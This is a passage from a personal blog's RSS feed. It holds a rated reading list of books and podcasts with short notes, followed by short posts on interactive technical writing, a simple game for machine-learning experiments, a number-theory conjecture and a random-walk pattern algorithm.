&lt;ul>
&lt;li>J. R. Tolkien&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic conclusion to the trilogy&lt;/li>
&lt;li>Even better than the movie&lt;/li>
&lt;li>Gets better every time I read it&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Millionaire Next Door: The Surprising Secrets of America&amp;rsquo;s Wealthy&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Thomas J. Stanley&lt;/li>
&lt;li>William D. Danko&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good book w/ many surprises and practical insights into how to build wealth&lt;/li>
&lt;li>Easy skim&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Get Control of Your Time and Your Life&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Alan Lakein&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good book w/ some helpful practical tips&lt;/li>
&lt;li>Not the best book on the subject of time/life management, but not bad and worth a skim&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Artificial Intelligence: Thinking Machines and Smart Robots with Science Activities for Kids&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Angie Smibert&lt;/li>
&lt;li>Alexis Cornell&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good intro for kids w/ some fun projects&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Learning to Invest: Principles for Abundant Living&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Matt Schoenfeld&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good intro to various aspects of investing&lt;/li>
&lt;li>Very basic, but a good intro and jumping-off point for beginners&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Scale: The Universal Laws of Growth, Innovation, Sustainability, and the Pace of Life in Organisms, Cities, Economies, and Companies&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Geoffrey West&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>The subtitle is very accurate; basic thesis: There are &amp;rsquo;laws&amp;rsquo; of scale that apply across diverse contexts and seem to be woven into the universe&lt;/li>
&lt;li>For example, the ratio between size with heart rate for mammals (and this extends to other animals too) is very similar&lt;/li>
&lt;li>I&amp;rsquo;m surprised I&amp;rsquo;ve never heard of this book before&lt;/li>
&lt;li>Fascinating book I&amp;rsquo;d like to re-read as I didn&amp;rsquo;t get focus on it as much as I&amp;rsquo;d like&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>&lt;a href="https://jordanraynor.com/podcast/">The Call to Mastery&lt;/a>&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jordan Raynor&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Encouraging and inspiring podcast celebrating the role of good work in the Christian life&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Practical Java Machine Learning: Projects with Google Cloud Platform and Amazon Web Services&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Mark Wickham&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Decent book - has a great overview of machine learning models and approaches (and how they map to Java)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Cartoon Guide to the Computer&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Larry Gonick&lt;/li>
&lt;li>Mark Wheelis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun read!&lt;/li>
&lt;li>It&amp;rsquo;s always interesting to read a computer book written decades ago&amp;hellip; the discussion of the future of high level languages is hilarious look back on a time when Fortran was cutting edge&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Perelandra&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Such a great story&lt;/li>
&lt;li>I think this is one of Lewis&amp;rsquo; best worlds&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Superintelligence&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Nick Bostrom&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Pessimistic about the future of superintelligence&lt;/li>
&lt;li>Assumes superintelligence possible and doesn&amp;rsquo;t get much into the philosophy supporting this claim&lt;/li>
&lt;li>Appreciated the term &amp;lsquo;superintelligence&amp;rsquo; instead of &amp;lsquo;artificial intelligence&amp;rsquo;&lt;/li>
&lt;li>Appreciated the emphasis on the difficulty/impossibility of bounding work given to a superintelligent being/computer (e.g. telling a superintelligence to optimize production of paper clips could cause the super intelligence to take over the world to ensure paper clip production)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Humble Pi: When Math Goes Wrong in the Real World&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Matt Parker&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun, cathartic read for those in engineering, computer science, or math&lt;/li>
&lt;li>Fascinating study in what can go wrong (and leads quickly into a discussion of how to avoid things going wrong)&lt;/li>
&lt;li>A very sobering reminder of what can go wrong when engineers, mathematicians, or designers get something wrong&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>&lt;a href="https://albertmohler.com/the-briefing">The Briefing&lt;/a>&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Albert Mohler&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic news resource providing &amp;lsquo;a daily analysis of news and events from a Christian worldview&amp;rsquo;&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Data Science on the Google Cloud Platform: Implementing End-to-End Real-Time Data Pipelines: From Ingest to Machine Learning&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Valliappa Lakshmanan&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Decent introduction to GCP which picks a project and walks through a solution&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Language Families of the World&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John McWhorter&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Absolutely fantastic professor - John is clear, knowledgable, and passionate about the topic. He makes it approachable and enjoyable for all.&lt;/li>
&lt;li>&lt;a href="https://www.thegreatcourses.com/courses/language-families-of-the-world">https://www.thegreatcourses.com/courses/language-families-of-the-world&lt;/a>&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Extreme Ownership: How U.S. Navy SEALs Lead and Win&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jocko Willink&lt;/li>
&lt;li>Leif Babin&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Read this book again this year&amp;hellip; still very good&lt;/li>
&lt;li>Appreciated emphasis on seeking win-win solutions rather than settling for win-lose or lose-lose options&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Farming the Woods: An Integrated Permaculture Approach to Growing Food and Medicinals in Temperate Forests&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Ken Mudge&lt;/li>
&lt;li>Steve Gabriel&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic read - very clear, informative, and practical&lt;/li>
&lt;li>Accessible for those unfamiliar with Agroforestry&lt;/li>
&lt;li>Great pictures/graphics throughout the book&lt;/li>
&lt;li>One of the fascinating themes in the book is the ecological changes that climate change will bring. Apparently, tree species can move about 100 meters a year in any new direction. But to keep up with climate change, tree species would have to move about 10 &lt;em>kilometers&lt;/em> a year! Thus, many farmers are proactively &amp;lsquo;helping&amp;rsquo; tree species move (called &amp;lsquo;assisted migration&amp;rsquo;).&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Fragments of Infinity: A Kaleidoscope of Math and Art&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Ivars Peterson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good read, one with many inspirations for mathematicians and artists&lt;/li>
&lt;li>Good source for names of mathematicians/artists&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Beautiful Geometry&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Eli Maor&lt;/li>
&lt;li>Eugen Jost&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun read w/ a number of interesting art works throughout the book to illustrate the concepts being discussed&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>&lt;a href="https://thebahnsengroup.com/dividend-cafe/">Dividend Cafe&lt;/a>&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>David L. Bahnsen&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great blog/&lt;a href="https://podcasts.apple.com/us/podcast/the-dividend-cafe/id1118213859">podcast&lt;/a> on investing&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Always Ready: Directions for Defending the Faith&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Greg L. Bahnsen&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good intro to presuppositional apologetics&lt;/li>
&lt;li>Before reading this book, I would not have considered myself a presuppositional apologist, but after reading it I now do&lt;/li>
&lt;li>When claiming that one of the steps of the apologist is to demonstrate internal inconsistencies in other world-views, his entire argument relies on the KJV translation of 2 Tim. 2:25&amp;hellip; other translations translate this passage in way that does not support his conclusion&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Dune&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Frank Herbert&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>It is hard for me to say too many good things about this book&amp;hellip; this is great science fiction; it strikes the perfect balance of futuristic and exotic with relatable and clear&lt;/li>
&lt;li>My one negative critique is that there are scenes which jump significant amounts of time without warning and sometimes leave the reader (at least me) with a sense of &amp;lsquo;whiplash&amp;rsquo;. I would have appreciated smoother transitions at a few points.&lt;/li>
&lt;li>I really appreciated the complexity of the world he created. I love how politics, religion, philosophy, environmentalism, and anthropology are all woven into the story&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Universal Patterns (The Golden Relationship : Art, Math &amp;amp; Nature, Book 1)&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Martha Boles&lt;/li>
&lt;li>Rochelle Newman&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating, fun read with some practical art projects one can work on&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Horse and His Boy&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>One of my favorite books in the Narniad&lt;/li>
&lt;li>Exciting, well-written story with great quotes and profound conversations&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>&lt;a href="https://dougwils.com/audio/blog-mablog">Blog and Mablog&lt;/a>&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Aside from being one of the best named blogs out there, this podcast is insightful, poignant, often hilarious, and well written even if you don&amp;rsquo;t agree with Doug Wilson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Solve It&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>George Pólya&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Interesting read, but underwhelming. I had high expectations for this book based on a friend&amp;rsquo;s review and was definitely disappointed.&lt;/li>
&lt;li>A few good tips for solving problems, but nothing earth-shaking&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>&lt;a href="https://podcasts.apple.com/us/podcast/having-two-legs/id1606820470">Having Two Legs&lt;/a>&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Toby Sumpter&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Perhaps one of the best podcasts I have found. The posts are thoughtful, biblical, short, and (perhaps most uniquely) encouraging.&lt;/li>
&lt;li>This podcast is joyful and encouraging in a way that few others are.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Mathematics and Art: A Cultural History&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Lynn Gamwell&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great read covering a number of fascinating topics&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>There&amp;rsquo;s No Free Lunch: 250 Economic Truths&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>David L. Bahnsen&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Really approachable, enjoyable, and informative read&lt;/li>
&lt;li>Love the idea of a book that is a commentary on notable quotes&lt;/li>
&lt;li>The quotes in this book cohere to form a compelling argument for the free market and a healthy definition of economics in which human creativity and passion fuels production to meet needs and facilitate human flourishing&lt;/li>
&lt;li>This book introduced me to the &amp;lsquo;Knowledge Problem&amp;rsquo;&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Brothers Karamazov&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Fyodor Dostoevsky&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Underwhelming&amp;hellip; below the expectations set by the reviews of this book I have heard in the past&lt;/li>
&lt;li>IMO, not one of Dostoevsky&amp;rsquo;s better works&lt;/li>
&lt;li>Intriguing and captivating storyline which was much more engaging than &amp;lsquo;Crime and Punishment&amp;rsquo;&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>A Guide to a Georgia Barrier Island: Featuring Jekyll Island With St. Simons &amp;amp; Sapelo Islands&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Taylor Schoettle&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating book on a rare and unique part of the US&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>A Naturalist&amp;rsquo;s Guide to the Okefenokee Swamp&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Taylor Schoettle&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good read about a fascinating ecosystem&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Tree Houses: Fairy Tale Castles&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Philip Jodidio&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun read about some amazing tree houses&lt;/li>
&lt;li>This was my favorite: &lt;a href="https://www.treehotel.se/en/rooms/the-mirrorcube">https://www.treehotel.se/en/rooms/the-mirrorcube&lt;/a>&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Florida Everglades&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Connie Toops&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Interesting read about a unique part of the US&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Personal Financial Planning for Executives and Entrepreneurs: The Path to Financial Peace of Mind (2nd ed.)&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Many: https://www.amazon.com/Personal-Financial-Planning-Executives-Entrepreneurs/dp/3030653994&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very informative and practical guide for more than just executives and entrepreneurs&lt;/li>
&lt;li>Highly recommended&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Hawk Watch: A Guide for Beginners&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Pete Dunne&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Really helpful introduction to Hawk Watching&lt;/li>
&lt;li>Very helpful guides detailing how to differentiate raptors from one another&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>That Hideous Strength&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>One of Lewis&amp;rsquo; most tense, dramatic, and humorous works&lt;/li>
&lt;li>Fascinating in light of COVID lockdowns and the &amp;rsquo;emergency actions&amp;rsquo; taken by various governments&amp;hellip; this is the first thing that NICE does as well&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Forward: Notes on the Future of Our Democracy&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew Yang&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>While I disagree with most of Andrew Yang&amp;rsquo;s answers, he is absolutely asking the right questions and has, perhaps, the best appreciation of the many things Americans should fix about our economy and government&lt;/li>
&lt;li>I disagree with most of Andrew Yang&amp;rsquo;s answers to the problems he rightly identifies because most of Andrew Yang&amp;rsquo;s answers boil down to: Make the government better. Most of my answers boil down to: Make government smaller/simpler&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>1421: The Year China Discovered America&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Gavin Menzies&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Interesting read asserting that Chinese explorers explored and colonized the world around 1421. Although I think some points are a stretch, I think the overall argument is compelling (although I have not read any academic responses to Mr. Menzies&amp;rsquo; argument).&lt;/li>
&lt;li>One recurring argument of particular interest was the argument that some distortions and errors on early maps can be explained by considering that early explorers were just viewing land from a ship a sea (sometimes are great distances) and, at certain latitudes, would have a hard time finding their longitude (a challenge he discusses at length in the book).&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Wingfeather Saga: On the Edge of the Dark Sea of Darkness&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew Peterson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic story (for both kids and adults) that we are excited to share with friends and family.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Eating on the Wild Side: The Missing Link to Optimum Health&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great reference book - I don&amp;rsquo;t recommend reading cover-to-cover (unless you want to, of course), but the intro is helpful and specific chapters may be particularly relevant to your location and diet&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Leadership Strategy and Tactics: Field Manual&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jocko Willink&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good book - fleshes out and clarifies a lot of what is discussed in Extreme Ownership&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Case for Dividend Growth: Investing in a Post-Crisis World&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>David L. Bahnsen&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic intro to a powerful investing concept&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Night the Bear Ate Goombaw&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Patrick F. McManus&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun read as usual with McManus&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Great Lakes Alvars&lt;/i> [1000]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun read about a unique landscape&lt;/li>
&lt;li>An alvar is a flat, barren, treeless limestone opening. They are unique landscapes home to many fascinating flora and fauna.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;/ol>
&lt;/section></description></item><item><title>Formulas for Financial Independence</title><link>https://hightower.space/posts/financial-independence-formulas-1/</link><pubDate>Mon, 13 Dec 2021 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/financial-independence-formulas-1/</guid><description/></item><item><title>Investigating Interest</title><link>https://hightower.space/posts/interest-investigation/</link><pubDate>Thu, 09 Dec 2021 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/interest-investigation/</guid><description/></item><item><title>Interactive Writing System</title><link>https://hightower.space/posts/interactive-writing-system/</link><pubDate>Fri, 26 Nov 2021 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/interactive-writing-system/</guid><description>&lt;h2 id="interactive-writing-system">Interactive Writing System&lt;/h2>
&lt;h3 id="what-are-interactive-systems">What are interactive systems?&lt;/h3>
&lt;p>I will not, in this blog post, consider the essential and non-essential properties of interactive systems.
I will simply assert that an essential characteristic of interactive systems is a short feedback loop.&lt;/p>
&lt;h3 id="the-problem">The problem&lt;/h3>
&lt;p>For some reason, we (as humanity and software developers) have relegated ourselves to static systems and tools.
We have eschewed interactivity. In this blog post, I will not examine why this is the case, but will note examples
of this problem and describe a system which would introduce interactivity to the technical blog writing world.&lt;/p>
&lt;h4 id="examples-of-the-problem">Examples of the problem&lt;/h4>
&lt;p>Most technical blogs I have seen include either code snippets (which are static and can&amp;rsquo;t be run/edited) or screenshots of code.
There is no way to run the code without exporting it (usually via copy/paste) into an appropriate environment.
One can imagine what the code will do or read the blog post describing what it does, but one cannot easily
interact with the code to learn what it does and how it works.&lt;/p>
&lt;h3 id="requirements-for-an-interactive-writing-system">Requirements for an interactive writing system&lt;/h3>
&lt;p>There are two actors in any writing system (be it a printing press, pen and paper, or blog post):&lt;/p>
&lt;ol>
&lt;li>Writer&lt;/li>
&lt;li>Reader&lt;/li>
&lt;/ol>
&lt;p>The writer should be able to:&lt;/p>
&lt;ul>
&lt;li>Write prose and code (from multiple languages)&lt;/li>
&lt;li>Trust that the finished product will look like what is written&lt;/li>
&lt;li>Run the code live (and choose whether the code and/or its output will be shown)&lt;/li>
&lt;/ul>
&lt;p>The reader should be able to:&lt;/p>
&lt;ul>
&lt;li>Edit and run all/most code snippets w/o putting significant effort into creating a new environment to run the code&lt;/li>
&lt;li>Export/save edited content locally&lt;/li>
&lt;/ul></description></item><item><title>Simplex: A Simple, Extensible Game for Exploring Machine Learning</title><link>https://hightower.space/posts/scale_game_1/</link><pubDate>Wed, 03 Nov 2021 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/scale_game_1/</guid><description>&lt;h2 id="simplex">Simplex&lt;/h2>
&lt;p>As I&amp;rsquo;m exploring machine learning, I have found it helpful to have a simple game I can use as a context in which to test ideas.
This blog post describes one such game.
I call it &amp;ldquo;Simplex&amp;rdquo;. The game is trivially simple, but can be extended to make it more challenging.&lt;/p>
&lt;p>The game works as follows:&lt;/p>
&lt;ul>
&lt;li>There are two players (&amp;lsquo;a&amp;rsquo; and &amp;lsquo;b&amp;rsquo;)&lt;/li>
&lt;li>Each player gets only one move which is made simultaneously with the other player&lt;/li>
&lt;li>Each player has one marble&lt;/li>
&lt;li>Each marble weighs one unit&lt;/li>
&lt;li>For each move, players choose how many marbles to place on his/her side of a scale&lt;/li>
&lt;li>The winner is the player with the most weight on their side of the scale&lt;/li>
&lt;/ul>
&lt;p>You can read, run, and edit an implementation of this game in Clojure (and Python) &lt;a href="https://nextjournal.com/fhightower/scale-game-part-1">here&lt;/a>.&lt;/p>
&lt;p>In future posts, I&amp;rsquo;ll examine:&lt;/p>
&lt;ul>
&lt;li>Different approaches to playing this game (including machine learning strategies)&lt;/li>
&lt;li>How these approaches change when the game changes&lt;/li>
&lt;/ul></description></item><item><title>Conjecture on n-sided Numbers and Their Sums</title><link>https://hightower.space/posts/conjecture-on-n-sided-numbers/</link><pubDate>Fri, 10 Sep 2021 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/conjecture-on-n-sided-numbers/</guid><description>&lt;p>While reading &lt;em>The Most Beautiful Mathematical Formulas: An Entertaining Look at the Most Insightful, Useful, and Quirky Theorems of All Time&lt;/em>, I came across Lagrange&amp;rsquo;s four-square theorem:&lt;/p>
&lt;blockquote>
&lt;p>We can represent every natural number as the sum of, at most, four squares.&lt;/p>&lt;/blockquote>
&lt;p>For example, we can represent 27 as:&lt;/p>
&lt;pre tabindex="0">&lt;code>16 + 9 + 1 + 1
&lt;/code>&lt;/pre>&lt;p>or&lt;/p>
&lt;pre tabindex="0">&lt;code>4^2 + 3^3 + 1^2 + 1^2
&lt;/code>&lt;/pre>&lt;p>As I was reading about this, I came up with the following conjecture. This conjecture may already exist (I haven&amp;rsquo;t looked into the subject yet) or it may be false. From a cursory analysis, it seems to hold true.&lt;/p>
&lt;p>My conjecture is:&lt;/p>
&lt;blockquote>
&lt;p>We can represent every natural number as the sum of, at most, n n-sided numbers.&lt;/p>&lt;/blockquote>
&lt;p>I need to formalize what I mean by &amp;ldquo;n-sided number&amp;rdquo;, but intuitively, I mean that, when n=3, n-sided numbers are triangular numbers; when n=4, we are dealing with square numbers; n=5 means pentagonal numbers; etc&amp;hellip;&lt;/p>
&lt;p>I plan to do some research in the future to see if this already exists and, if not, how I might go about proving it.&lt;/p></description></item><item><title>Informed, Random Walk</title><link>https://hightower.space/posts/informed-random-walk/</link><pubDate>Fri, 13 Aug 2021 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/informed-random-walk/</guid><description>&lt;h2 id="background">Background&lt;/h2>
&lt;p>&lt;a href="https://press.stripe.com/">Stripe Press&lt;/a> published a beautiful copy of &amp;ldquo;&lt;em>The Art of Doing Science and Engineering&lt;/em>&amp;rdquo; by Richard Hamming:&lt;/p>
&lt;p>&lt;img src="https://hightower.space/img/learning-to-learn-cover.png" alt="The cover of the book features an intriguing pattern">&lt;/p>
&lt;p>Aside from being a wonderful read, the cover of this book (which is an apt analogy for the learning process) features an intriguing pattern. As I was reading the book while traveling, I was &lt;a href="https://xkcd.com/356/">nerd sniped&lt;/a> into designing an algorithm which would make such a pattern. This post is an explication of my solution.&lt;/p>
&lt;h2 id="an-informed-random-walk">An Informed, Random Walk&lt;/h2>
&lt;p>Such a pattern could be created from what I am calling an &amp;ldquo;Informed, Random Walk&amp;rdquo;. The walk is &amp;ldquo;informed&amp;rdquo; because it contains feedback about each step and &amp;ldquo;random&amp;rdquo; because each step of the walk is randomly chosen.&lt;/p>
&lt;h3 id="the-context">The Context&lt;/h3>
&lt;p>Imagine we are standing on a point on a 2D plain. We are trying to move from our current location (whose coordinates are unknown to us) to a specific, target location (whose coordinates are also unknown to us). Imagine that we are only allowed to take steps in &lt;a href="https://en.wikipedia.org/wiki/Cardinal_direction">cardinal directions&lt;/a> and, after taking a step, we will be told whether we are closer to the target location.&lt;/p>
